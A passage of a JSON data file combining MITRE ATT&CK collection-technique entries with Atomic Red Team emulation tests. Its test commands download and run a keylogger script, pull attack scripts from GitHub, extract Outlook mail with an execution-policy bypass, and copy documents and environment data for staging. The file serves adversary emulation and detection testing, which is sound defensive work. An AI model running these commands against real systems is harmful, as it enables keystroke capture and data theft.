- "prereq_command": "if (Test-Path PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1 \n"
- }
- ],
- "executor": {
- "command": "$PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1 -LogPath #{filepath}\n",
- "cleanup_command": "Remove-Item $env:TEMP\\key.log -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1602": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74",
- "created": "2020-10-19T23:46:13.931Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1602",
- "url": "https://attack.mitre.org/techniques/T1602"
- },
- {
- "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
- "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3",
- "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."
- },
- {
- "source_name": "US-CERT TA17-156A SNMP Abuse 2017",
- "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A",
- "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."
- },
- {
- "source_name": "US-CERT-TA18-106A",
- "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
- "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)",
- "modified": "2022-04-19T21:32:58.274Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Data from Configuration Repository",
- "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1213.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
- "type": "attack-pattern",
- "created": "2020-02-14T13:35:32.938Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1213.002",
- "url": "https://attack.mitre.org/techniques/T1213/002"
- },
- {
- "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
- "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
- "source_name": "Microsoft SharePoint Logging"
- }
- ],
- "modified": "2021-06-08T17:10:31.187Z",
- "name": "Sharepoint",
- "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1123": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:34.528Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1123",
- "external_id": "T1123"
- },
- {
- "external_id": "CAPEC-634",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/634.html"
- }
- ],
- "modified": "2020-07-14T19:42:10.235Z",
- "name": "Audio Capture",
- "description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1123"
- },
- "atomic_tests": [
- {
- "name": "using device audio capture commandlet",
- "auto_generated_guid": "9c3ad250-b185-4444-b5a9-d69218a10c95",
- "description": "[AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet\n",
- "name": "powershell"
- }
- },
- {
- "name": "Registry artefact when application use microphone",
- "auto_generated_guid": "7a21cce2-6ada-4f7c-afd9-e1e9c481e44a",
- "description": "[can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\microphone\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\microphone\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f\n",
- "cleanup_command": "reg DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\microphone\\NonPackaged\\C:#Windows#Temp#atomic.exe /f\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1560.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
- "type": "attack-pattern",
- "created": "2020-02-20T21:09:55.995Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1560.003",
- "url": "https://attack.mitre.org/techniques/T1560/003"
- },
- {
- "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
- "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
- "source_name": "ESET Sednit Part 2"
- }
- ],
- "modified": "2020-03-25T22:48:14.605Z",
- "name": "Archive via Custom Method",
- "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Script: Script Execution",
- "File: File Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1114": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365",
- "Google Workspace",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:25.454Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1114",
- "url": "https://attack.mitre.org/techniques/T1114"
- },
- {
- "description": "McMichael, T.. (2015, June 8). Exchange and Office 365 Mail Forwarding. Retrieved October 8, 2019.",
- "url": "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/",
- "source_name": "Microsoft Tim McMichael Exchange Mail Forwarding 2"
- }
- ],
- "modified": "2021-10-15T20:19:33.750Z",
- "name": "Email Collection",
- "description": "Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded
set to true, X-MailFwdBy
and X-Forwarded-To
. The forwardingSMTPAddress
parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded
header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.",
- "x_mitre_version": "2.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Application Log: Application Log Content",
- "Network Traffic: Network Connection Creation",
- "Logon Session: Logon Session Creation",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1025": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "William Cain"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:31.584Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1025",
- "external_id": "T1025"
- }
- ],
- "modified": "2021-10-15T22:17:35.218Z",
- "name": "Data from Removable Media",
- "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Command: Command Execution"
- ],
- "x_mitre_system_requirements": [
- "Privileges to access removable media drive and files"
- ]
- },
- "atomic_tests": []
- },
- "T1074.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Massimiliano Romano, BT Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
- "created": "2020-03-13T21:13:10.467Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1074.001",
- "url": "https://attack.mitre.org/techniques/T1074/001"
- },
- {
- "source_name": "Prevailion DarkWatchman 2021",
- "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/",
- "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)",
- "modified": "2022-04-21T16:07:10.829Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Data Staged: Local Data Staging",
- "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Access"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1074.001"
- },
- "atomic_tests": [
- {
- "name": "Stage data from Discovery.bat",
- "auto_generated_guid": "107706a5-6f9f-451a-adae-bab8c667829f",
- "description": "Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution,\nverify that the file is saved in the temp directory.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Location to save downloaded discovery.bat file",
- "type": "path",
- "default": "$env:TEMP\\discovery.bat"
- }
- },
- "executor": {
- "command": "Invoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat\" -OutFile #{output_file}\n",
- "cleanup_command": "Remove-Item -Force #{output_file} -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Zip a Folder with PowerShell for Staging in Temp",
- "auto_generated_guid": "a57fbe4b-3440-452a-88a7-943531ac872a",
- "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip\nwas placed in the temp directory.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Location to save zipped file or folder",
- "type": "path",
- "default": "$env:TEMP\\Folder_to_zip.zip"
- },
- "input_file": {
- "description": "Location of file or folder to zip",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1074.001\\bin\\Folder_to_zip"
- }
- },
- "executor": {
- "command": "Compress-Archive -Path #{input_file} -DestinationPath #{output_file} -Force\n",
- "cleanup_command": "Remove-Item -Path #{output_file} -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1114.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
- "type": "attack-pattern",
- "created": "2020-02-19T18:46:06.098Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1114.001",
- "url": "https://attack.mitre.org/techniques/T1114/001"
- },
- {
- "source_name": "Outlook File Sizes",
- "url": "https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/",
- "description": "N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020."
- },
- {
- "source_name": "Microsoft Outlook Files",
- "url": "https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790",
- "description": "Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020."
- }
- ],
- "modified": "2020-03-24T17:59:20.983Z",
- "name": "Email Collection: Local Email Collection",
- "description": "Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user\u2019s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\\\Documents\\Outlook Files` or `C:\\Users\\\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1114.001"
- },
- "atomic_tests": [
- {
- "name": "Email Collection with PowerShell Get-Inbox",
- "auto_generated_guid": "3f1b5096-0139-4736-9b78-19bcb02bb1cb",
- "description": "Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.\nSuccessful execution will produce stdout message stating \"Please be patient, this may take some time...\". Upon completion, final output will be a mail.csv file.\n\nNote: Outlook is required, but no email account necessary to produce artifacts.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "output_file": {
- "description": "Output file path",
- "type": "string",
- "default": "$env:TEMP\\mail.csv"
- },
- "file_path": {
- "description": "File path for Get-Inbox.ps1",
- "type": "string",
- "default": "PathToAtomicsFolder\\T1114.001\\src"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Get-Inbox.ps1 must be located at #{file_path}\n",
- "prereq_command": "if (Test-Path #{file_path}\\Get-Inbox.ps1) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1114.001/src/Get-Inbox.ps1\" -OutFile \"#{file_path}\\Get-Inbox.ps1\"\n"
- }
- ],
- "executor": {
- "command": "powershell -executionpolicy bypass -command #{file_path}\\Get-Inbox.ps1 -file #{output_file}\n",
- "cleanup_command": "Remove-Item #{output_file} -Force -ErrorAction Ignore\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1119": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "IaaS",
- "SaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
- "created": "2017-05-31T21:31:27.985Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1119",
- "url": "https://attack.mitre.org/techniques/T1119"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.",
- "modified": "2022-04-11T18:40:24.795Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Automated Collection",
- "x_mitre_detection": "Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "collection"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "File: File Access",
- "Script: Script Execution",
- "Command: Command Execution"
- ],
- "x_mitre_system_requirements": [
- "Permissions to access directories, files, and API endpoints that store information of interest."
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1119"
- },
- "atomic_tests": [
- {
- "name": "Automated Collection Command Prompt",
- "auto_generated_guid": "cb379146-53f1-43e0-b884-7ce2c635ff5b",
- "description": "Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection\nto see what was collected.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "mkdir %temp%\\T1119_command_prompt_collection >nul 2>&1\ndir c: /b /s .docx | findstr /e .docx\nfor /R c:\\ %f in (*.docx) do copy /Y %f %temp%\\T1119_command_prompt_collection\n",
- "cleanup_command": "del %temp%\\T1119_command_prompt_collection /F /Q >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Automated Collection PowerShell",
- "auto_generated_guid": "634bd9b9-dc83-4229-b19f-7f83ba9ad313",
- "description": "Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_powershell_collection\nto see what was collected.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "New-Item -Path $env:TEMP\\T1119_powershell_collection -ItemType Directory -Force | Out-Null\nGet-ChildItem -Recurse -Include *.doc | % {Copy-Item $_.FullName -destination $env:TEMP\\T1119_powershell_collection}\n",
- "cleanup_command": "Remove-Item $env:TEMP\\T1119_powershell_collection -Force -ErrorAction Ignore | Out-Null\n",
- "name": "powershell"
- }
- },
- {
- "name": "Recon information for export with PowerShell",
- "auto_generated_guid": "c3f6d794-50dd-482f-b640-0384fbb7db26",
- "description": "collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt\nto see what was collected.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Get-Service > $env:TEMP\\T1119_1.txt\nGet-ChildItem Env: > $env:TEMP\\T1119_2.txt\nGet-Process > $env:TEMP\\T1119_3.txt\n",
- "cleanup_command": "Remove-Item $env:TEMP\\T1119_1.txt -ErrorAction Ignore\nRemove-Item $env:TEMP\\T1119_2.txt -ErrorAction Ignore\nRemove-Item $env:TEMP\\T1119_3.txt -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "Recon information for export with Command Prompt",
- "auto_generated_guid": "aa1180e2-f329-4e1e-8625-2472ec0bfaf3",
- "description": "collect information for exfiltration. Upon execution, check the users temp directory (%temp%) for files T1119_*.txt\nto see what was collected.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
